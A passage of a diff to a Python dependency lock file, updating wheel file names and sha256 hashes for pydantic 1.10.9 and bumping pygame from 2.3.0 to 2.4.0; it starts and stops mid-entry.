"sha256:2196c06484da2b3fded1ab6dbe182bdabeb09f6318b7fdc412609ee2b564c49a"}, + {file = "pydantic-1.10.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:6257bb45ad78abacda13f15bde5886efd6bf549dd71085e64b8dcf9919c38b60"}, + {file = "pydantic-1.10.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:3283b574b01e8dbc982080d8287c968489d25329a463b29a90d4157de4f2baaf"}, + {file = "pydantic-1.10.9-cp37-cp37m-win_amd64.whl", hash = "sha256:5f8bbaf4013b9a50e8100333cc4e3fa2f81214033e05ac5aa44fa24a98670a29"}, + {file = "pydantic-1.10.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9cd67fb763248cbe38f0593cd8611bfe4b8ad82acb3bdf2b0898c23415a1f82"}, + {file = "pydantic-1.10.9-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f50e1764ce9353be67267e7fd0da08349397c7db17a562ad036aa7c8f4adfdb6"}, + {file = "pydantic-1.10.9-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73ef93e5e1d3c8e83f1ff2e7fdd026d9e063c7e089394869a6e2985696693766"}, + {file = "pydantic-1.10.9-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:128d9453d92e6e81e881dd7e2484e08d8b164da5507f62d06ceecf84bf2e21d3"}, + {file = "pydantic-1.10.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ad428e92ab68798d9326bb3e5515bc927444a3d71a93b4a2ca02a8a5d795c572"}, + {file = "pydantic-1.10.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fab81a92f42d6d525dd47ced310b0c3e10c416bbfae5d59523e63ea22f82b31e"}, + {file = "pydantic-1.10.9-cp38-cp38-win_amd64.whl", hash = "sha256:963671eda0b6ba6926d8fc759e3e10335e1dc1b71ff2a43ed2efd6996634dafb"}, + {file = "pydantic-1.10.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:970b1bdc6243ef663ba5c7e36ac9ab1f2bfecb8ad297c9824b542d41a750b298"}, + {file = "pydantic-1.10.9-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7e1d5290044f620f80cf1c969c542a5468f3656de47b41aa78100c5baa2b8276"}, + {file = "pydantic-1.10.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83fcff3c7df7adff880622a98022626f4f6dbce6639a88a15a3ce0f96466cb60"}, + {file = "pydantic-1.10.9-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0da48717dc9495d3a8f215e0d012599db6b8092db02acac5e0d58a65248ec5bc"}, + {file = "pydantic-1.10.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0a2aabdc73c2a5960e87c3ffebca6ccde88665616d1fd6d3db3178ef427b267a"}, + {file = "pydantic-1.10.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9863b9420d99dfa9c064042304868e8ba08e89081428a1c471858aa2af6f57c4"}, + {file = "pydantic-1.10.9-cp39-cp39-win_amd64.whl", hash = "sha256:e7c9900b43ac14110efa977be3da28931ffc74c27e96ee89fbcaaf0b0fe338e1"}, + {file = "pydantic-1.10.9-py3-none-any.whl", hash = "sha256:6cafde02f6699ce4ff643417d1a9223716ec25e228ddc3b436fe7e2d25a1f305"}, + {file = "pydantic-1.10.9.tar.gz", hash = "sha256:95c70da2cd3b6ddf3b9645ecaa8d98f3d80c606624b6d245558d202cd23ea3be"}, ] [package.dependencies] @@ -1262,79 +1258,79 @@ email = ["email-validator (>=1.0.3)"] [[package]] name = "pygame" -version = "2.3.0" +version = "2.4.0" description = "Python Game Development" optional = false python-versions = ">=3.6" files = [ - {file = "pygame-2.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3e9535cf1af0c6ca38d94e0b492fc41057d7bf05e9bd64d3ed3e216d336d6d11"}, - {file = "pygame-2.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:23bd3c3a6d4e8acddee2297d609dbc5953d6ba99b0f0cc5ccc2f567889db3785"}, - {file = "pygame-2.3.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:619eed2d97f28af9d4cdb217a5517fd6f59b873f2f1d31b4489ed852b9a175c3"}, - {file = "pygame-2.3.0-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:9ccac73a8c913809ba2c1408d750abf14e45666b3c83493370441c52e99222b4"}, - {file = "pygame-2.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ec8e691407b6c91525b2d7c8386fd6232b97d8f8c33d134ec0c0165b1d52c24"}, - {file = "pygame-2.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8308b21804d137a3b7cafbd020d2159eb5bcc18ffc9c3993b20311069c326a2c"}, - {file = "pygame-2.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d737db18f4c94b620613c6a047a3a1eecc0f36df7d5da4070de575930cc5f0"}, - {file = "pygame-2.3.0-cp310-cp310-win32.whl", hash = "sha256:788717d0b9a0d0828a763381e1eb6a127ceef815f9a91ff52217ed4b78df62fc"}, - {file = "pygame-2.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:e3948be800b5f251a0741ec3aab3ca508dfc391095726a69af7064fa4d3e0547"}, - {file = "pygame-2.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:82e5806fd797bd1b27fae705683f6822ae5276ec9cda42e6e21bba61985b763a"}, - {file = "pygame-2.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:fab0457ab07e8abb99de2b83c0a71f98bdf79afb01ff611873e4333fd8649f02"}, - {file = "pygame-2.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad8fa7a91fa8f2a4fa46366142763675a0a11b7c34b06dfc20b1095d116da820"}, - {file = "pygame-2.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfff49dbb7fcc2a9a88e3f25fda7f181ee4957fd89df78c47fa64c689d19b8a9"}, - {file = "pygame-2.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5afd712bd7307d034e6940f3025c4b769656fd4cbb38fbdbd6af0f93d6c8386"}, - {file = "pygame-2.3.0-cp311-cp311-win32.whl", hash = "sha256:fa18acc2d6f0d09575802e1db11845fc0f83f9777cc385c51380125df92f3dc9"}, - {file = "pygame-2.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:101c57141d705ca1930377c324d2c7acd3099f1b4ac676981bdf5d5b329842c8"}, - {file = "pygame-2.3.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:17730a2ed1001e5876745702c92906ad31ecedc13825efba56a0cba92e273b7a"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:4b334f6dd6c1412dd4b161a8562b7a422db957f67b7eb93e927606e2dd435882"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:4db1b103025fd4b451dfa409c0da16d2ff31714ae82bdf45b1434863cd69370b"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d339f90cc30de4b013670de84abd46de4be602d5c52bbe4e569fa15d17b204ca"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7390815dad55a2db9f8daac6f2c2e593801daea2d674433a72b91ea1caee0d3"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59a1e473c627acf369b30bb52fb5f39d1f68f8c204aa857578b72f07a23c952b"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:228514c0d034c840b8ee6bf99185df34ac15e6a6a99684b8a3900124417c8d8f"}, - {file = "pygame-2.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a8b315203925724f89a81a741682589ba1c36ec858d98e6accb7501ece9e99a3"}, - {file = "pygame-2.3.0-cp36-cp36m-win32.whl", hash = "sha256:38642c6cc6477db6ebddd52be39bad0a9e19cf097f83feaaf8e7573b9a9d2405"}, - {file = "pygame-2.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:525e11a2b9182ec84d690634016009e382ab8b488593c3f150a0b8aae28aa165"}, - {file = "pygame-2.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:32bdf1d5d9e0763779d0b915d4617253949a6c118c4c6b5ae1a77cf1df964e4c"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:f57b1ee40387e43ab5c3cf20437283477b5ef52ead4bb1d9bff254ef9ee70623"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:6ccde93b51d2393216f98e8f81cf5cc628513d837c89dcf5b588f52031659c09"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c60be419d7cca1222895dfe9d520628b7346015208382a19fa678356a22664b3"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:43f238229b3a9e5692ba5a31638f1c148257b37a49ef21f03b23b34d7f00b2d9"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d628637d4f0c55613f258b84eef932faf89e683aa842f4fd483a676f44a38606"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:35f5a9cc7a9a2ea3d048e418e79f30e1506cb47015939330903026c636761aab"}, - {file = "pygame-2.3.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:703d5def9d4dbe9c358f63151bee4a55e328dd7737e692f52522bc44be7c7c8c"}, - {file = "pygame-2.3.0-cp37-cp37m-win32.whl", hash = "sha256:53e9418c457fa549294feee7947bc0b24b048b4eba133f0e757dd2348d15af3b"}, - {file = "pygame-2.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:0a664cd6c50870f6749c389a8844318afc8a2d02f8cb7b05d67930fdf99252bd"}, - {file = "pygame-2.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bf236758429d9b9cdadd1fcf40901588818ee440178b932409c40157ab41e902"}, - {file = "pygame-2.3.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3d035ba196c258876a87451fa7de65b62c087d7016e51000e8d95bc67c8584f7"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:57180b3aabbe17d8017aa724887019943d96ea69810f4315f5c1b7d4f64861f9"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:246f75f67d2ad4c2dad21b1f35c6092d67c4c0db13b2fa0a42d794e6e2794f47"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:033352321cc49d60fdc3c3ae4b3e10ecb6614846fb2eb3453c729aba48a2874d"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ee86606c6c7f61176ed24b427fa230fe4fc9f552aa555b8db21ddb608b4ce88"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d949e93fbdaf5b43f69a484639104c07028f93686c8305afb0d8e382fde8ff5d"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f2acf958513bd1612960ec68aa5e388262218f7365db59e54e1ee68a55bc544b"}, - {file = "pygame-2.3.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6c5d33355dfb66382bcac1fcf3db64ba71bc9e97082db3ae45a7a0d335e73268"}, - {file = "pygame-2.3.0-cp38-cp38-win32.whl", hash = "sha256:1eda9f30d376d4205e8204e542ab1348dcbb31755c8ba38772e48a3b2f91b2fc"}, - {file = "pygame-2.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:b507df9ea606a87c29e5028b8de9f35066a15f6a5d7f3e5b47b3719e9403f924"}, - {file = "pygame-2.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:25c1b1819211aaa0f98264e6b670a496a9975079d5ae2dffd304b0aca6b1aa3c"}, - {file = "pygame-2.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e516bc6bba5455817bbb0038f4c44d1914aac13c7f7954dee9213c9ae28bd9ac"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:740b9f311c693b00d86a89cc6846afc1d1e013b006975eb8be0b18d5481c5b32"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:932034e1738873a55c4e2eb83b6e8c03f9a55feaa6a04a7da7b1e0e5a5050b4a"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:774233845099d632de676ad4d4dd08ba27ebce5bfa550b1dc9f6cce145e21c35"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f79a3c5e7f24474d6e722d597ee03d2b0d17958c77d4307787147cf339b4ad9"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84fad9538012f1d6b298dcf690c4336e0317fe97ac10993b4d847ff547e919dd"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:910678441d02c3b55ac59fcbc4220a824b094407de084734b5d84e0900d6448b"}, - {file = "pygame-2.3.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:653ec5102b9cb13a24e26663a81d7810790e56b88113b90aa5fdca681c01a5b9"}, - {file = "pygame-2.3.0-cp39-cp39-win32.whl", hash = "sha256:e62607c86e02d29ba5cb00837f73b1dce7b325a1f1f6d93150a0f96fa68da1a1"}, - {file = "pygame-2.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:90931a210325274184860d898df4e87a0972654edbb2a6185afcdce32244dfb6"}, - {file = "pygame-2.3.0-pp36-pypy36_pp73-win32.whl", hash = "sha256:1dc89d825e0ccba5ba3605abbd83be1401e0a32de7ab64b9647a6bb1ecb0a4f7"}, - {file = "pygame-2.3.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e323b75abda43345aff5ab2f6b1c017135f937f8a114d7aac8d95a07d200e19f"}, - {file = "pygame-2.3.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e13de2947c496fcb600fa4b5cd00a5fa33d4b3af9d13c169a5f79268268de0a8"}, - {file = "pygame-2.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:555234ed6b08242af95406fd3eb43255c3ce8e915e8c751f2d411bd40d574df4"}, - {file = "pygame-2.3.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:858d3968aebaca5015ef0ec82c513114a3c3fe64ce910222cfa852a39f03b135"}, - {file = "pygame-2.3.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:250b3ec3f90b05ad50cb0070d994a0a1f39fffe8181fc9508b8749884c313431"}, - {file = "pygame-2.3.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a5e83bd89da26f8360e02d5de2d2575981b0ebad81ea6d48aba610dabf167b88"}, - {file = "pygame-2.3.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2961d44593aaa99580971e4123db00d4ca72fb4b30fa56350b3f6792331a41e"}, - {file = "pygame-2.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:385163fd1ed8809a72be68fddc9c76876c304e8712695aff2ea49adf3831caf9"}, - {file = "pygame-2.3.0.tar.gz", hash = "sha256:884b92c9cbf0bfaf8b8dd0f75a746613c55447d307ddd1addf903709b3b9f89f"}, + {file = "pygame-2.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:63591f381e5b28b90e115ac7a96f8ce5ecb917facb42d79d4f89714f89cc6d8e"}, + {file = "pygame-2.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:13511c7c29f0fc23636f3b95a96ab45f964e84073e7e27dc602a479cd274d89a"}, + {file = "pygame-2.4.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:1b7201a44869eb420dd56c8e003251c9e7422c5304b3e78508e767a5634ab31b"}, + {file = "pygame-2.4.0-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3ab14e06c302921f33d25180813711a920acef386d3992fc21731d2d5e8e86f0"}, + {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:418659c2d42f6a2356e2691006d79b6e07fd4992f9e904a2638c51c992f3e41b"}, + {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e70fd71e0321a805001192e08ae4af45b86c68f155670230c3f6f4dd25089e70"}, + {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab8115af26a9e95f39b08fff416f097803480f265500b218a5ca065d6e73124f"}, + {file = "pygame-2.4.0-cp310-cp310-win32.whl", hash = "sha256:4ffec9661731fb674ccc88d1de92709219047af3d8198d0e6203c21f3f1b54a7"}, + {file = "pygame-2.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:bb5a39320d00fa781959d2d0151e6f0293dd1398c6dc9dc934112ecce7b4fb52"}, + {file = "pygame-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:23543e2d206d8de7d6db4f7b1c74e6fea6c01ead63caf7252e63341e1cdb09f6"}, + {file = "pygame-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4b562cfdd8caa76ba47ca2a9211fee6b0a95ceb95c9da94cf60a3909b2300854"}, + {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:751bc57e4c3b7cd92762344562dcbd405e2b54488de1d7a1e083a470bdbc5ae9"}, + {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9b1127f085d09c7c0a976d440e8fc2f7adc579d62abcfc20c23c2699bbe2dc1"}, + {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:47fd096ceb68d966681f8d0e820f7305bf05b30421ca562cfdb3c89a5aef26e5"}, + {file = "pygame-2.4.0-cp311-cp311-win32.whl", hash = "sha256:de963a4b8787d93a9fba8f4052d9dde8b12adbeac5781e48035be1557dfadb20"}, + {file = "pygame-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:75ef535ebe541b74a160bb59c3e520f543250d19f69d5973350ec1b9706e1469"}, + {file = "pygame-2.4.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ca2ecc65126eaaa5b8e6a119913cfb2c2b1ed4c8ee1b980baf333aa9d379f227"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:4a98ed8c47e367b9233b5ca25c36c2b45ab61959ac543195f0b6349f0a599ec8"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:00ecd4688ee25d5d4cf48eddab18749a9bb2b382772f7fa8a987e4d21026c603"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99c296ecb8ce6ea1f404f4d174fdb215c64515827778525301c29ddf6f8e6e07"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b6b94fc99487ce4a45ce00fa9145f4861f6e021254a005101d00bc17a4bb4f5c"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3020fb98f27a6ea79418a5b332ca07be93884e4a455c8a0a31b2dcf39ee2d96"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8f97c8be81b3262ad8dae982485c4a73c9f2374614dfc0db8eb0f754badb29d6"}, + {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:be7f948d33d0536c2922289e6f5983251cb0bd0d727db6ff692886c239f47a2c"}, + {file = "pygame-2.4.0-cp36-cp36m-win32.whl", hash = "sha256:a66b314f4a637784d5ca2970745bb2e6e554447dce8f4cfedd9b9fcef5e3ffc6"}, + {file = "pygame-2.4.0-cp36-cp36m-win_amd64.whl", hash = "sha256:c09323eeae9e0cb2ced0cb3635485ae17f4f1b2b6b908a494ce2d830c609d4be"}, + {file = "pygame-2.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c4241e1da3852a955d37a22157ed51b2d30a65f7987eac9d162bb302fb754d87"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:802b03f6c367359c94eb6a90169666efa1aa1d6e24fce37a0b21642ccdfe48cf"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:79b0962a8f09788ca735532cfcf2dd053424fe5eabbda564b74f8e5e2eb11f48"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:627c8bb007a757da18d32c5d9b7ac50ab0356d9e922d570b0572765778080787"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f576403c2b14f0eea694365b9018d5bacac70b1550261ffc7a54a92e18967541"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5210cb09ec31281e16fda008bf8dfe2e024eef58e075dd0c01935d0004fdfffd"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6060d68d10fafd51c4cb3a7d687d741009881860dfd429c863e570877e2ce9de"}, + {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6c0081546749c0b4341ce575622a4f8eee05f675d3a0872ab6aed6e5bd2ba5a8"}, + {file = "pygame-2.4.0-cp37-cp37m-win32.whl", hash = "sha256:fa2531f83e7c5f6f7cc20a1b4e0f982bd608aad81ff6c385148e64256ab0419f"}, + {file = "pygame-2.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:cff815181437add5f3d702e8c7f1d2aa4ed04ed04cde27ec809e7ac516ee6b5f"}, + {file = "pygame-2.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:53bfdc1aea619fa8d347be37b08de87089d543375948aacf8b163b0c5eb6d4e4"}, + {file = "pygame-2.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7fa1e65fd559823997f39a592cb49d8c89dd31c8bbde8273fe3922e2c1f294f6"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:65ee75e0e83e393fdc5c06e55e376c7511881a5ebee006ecca89cb1b3b41d6f1"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fbcba1b06f42338fecbd366227025f81729d9f4a577677fd3cd1ceff34d7286a"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b04451e5addae3a078a7a4f494e6b217025f4813dfb364a49c250fc5dfd1d2e2"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:faa3b63b71d555e7a21cecc11c65e059d9cb1902158d863ac3592e1947bc521a"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef14750fa60b47510cfe9c7c37e7abe67617f5d1f1a8ffa257a59d49836dadda"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5a2aee4214e5efed2cb3650139010dd4d0b1c29a9760278ab259d0b46281b66a"}, + {file = "pygame-2.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:47be83060a9dbc79763fd230f04d53a29064b5f64d1b59425c432d3570b22623"}, + {file = "pygame-2.4.0-cp38-cp38-win32.whl", hash = "sha256:14492d8c0eaad778bb10b6d53eaea4ef77f4d3431b6b7c857397dc6cf4397ac9"}, + {file = "pygame-2.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:6ba967d0e3fed8611f1face6695dc8fa554ee543d300681f8080f5de9cc7da73"}, + {file = "pygame-2.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9f6b7a604812f447495829751dfe7ab57cb31c2c9acdb07ba4b7157490411a12"}, + {file = "pygame-2.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e2a3176b33b97ebae397f951d254e3155a0afe730e1b76fb35126555c27dd3b5"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:6ec870a63295ebff737640c4ef39868312e206dcba655b4ad5c7d0e8c2488b73"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e75d8c2980d719045be366160568bf508cbbed21285efe32468c75abcd4cf8b3"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7e5d32def075e495b4802371fd8cda96ff4957aa39e215f83d87022dedf14cfb"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cad74cbbefbdb81cb22a9ea22561614b8dc58fcd52cd54126bbb8ee9ee77a5d5"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4c75dd345707da622c78dbd6a63a025f7b89377ddc4e71ba40043929824f5d4"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075c1282b1d307669c8ef29942564b91acb85623bedba3bfb841079d539ded31"}, + {file = "pygame-2.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1422673a2b485153cbc20dbbd37af791c9842ca98a1b7a89fe3ac115cce79805"}, + {file = "pygame-2.4.0-cp39-cp39-win32.whl", hash = "sha256:fb7bb86c4aedb4382d7f643ff7d21ab4731d59ddb9b448e78b9125ab1addc007"}, + {file = "pygame-2.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:93bb1406125ae9bd7a9bb0d45f11b30f157ea8d2efee1ebe9d781b1d1a9fce6b"}, + {file = "pygame-2.4.0-pp36-pypy36_pp73-win32.whl", hash = "sha256:2946c151691c80ffb9f3f39e1f294d7ed9edaae1814e528d2f5b4751e7e6d903"}, + {file = "pygame-2.4.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80502eb26483b0206d0508475ec7d67a86bc0afc5bb4aad3a6172a7a85a27554"}, + {file = "pygame-2.4.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9c8bb7b77f97eb49dac900445fbf96a332d2072588949d6396581933843fb04"}, + {file = "pygame-2.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8b6e1493724d29e46a0e7e8125d9808c9957c652db67afe9497d385509fc5ac5"}, + {file = "pygame-2.4.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:43db3a6c9be3d94eececf7c86cde7584d2bb87f394ade40139c3b4e528fdff24"}, + {file = "pygame-2.4.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:32ed4d4317bce8fe78592a7b5b4a07f2e0ff814e35c66cb5a3b398dae96c3f27"}, + {file = "pygame-2.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e5f043751840a07ff0160abe46ed42a88bc29baee93656abb5a050beda176306"}, + {file = 